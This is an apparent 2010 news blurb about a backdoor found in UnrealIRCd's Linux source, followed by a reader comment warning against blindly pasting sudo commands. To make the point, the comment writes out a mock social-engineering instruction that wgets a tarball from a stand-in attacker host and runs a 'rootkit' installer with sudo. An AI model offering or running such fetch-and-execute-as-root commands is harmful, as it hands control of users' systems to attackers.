Linked by Jordan Spencer Cunningham on Mon 14th Jun 2010 23:58 UTC
Bugs & Viruses Recently, the Linux version of UnrealIRCd was discovered to have had a Trojan worm its way into the source code. Even more embarrassing for the developers of Unreal is that the Trojan's been holding open the backdoor in the source code since November of 2009-- not very recently. And, of course, bloggers and press in general are taking the opportunity of another breach in Linux security to point out doomsday devices that don't really exist.
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RE[5]: Comment by lemur2
by stew on Tue 15th Jun 2010 09:33 UTC in reply to "RE[4]: Comment by lemur2"
stew
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Are you seriously suggesting that copy&pasting commands that one doesn't understand from some web site is a safe thing to do? If you're training users to just blindly type 'sudo' commands without understanding what they do, you're creating a large opportunity for social engineering:

To get the latest Firefox with instant Facebook updates, type these commands:
1. wget http://thehax0rzplaze.com/infectedFireFox.tgz
2. tar zxvf infectedFireFox.tgz
3. sudo infectedFireFox/installRootKit.sh
then type your password.

Edited 2010-06-15 09:35 UTC

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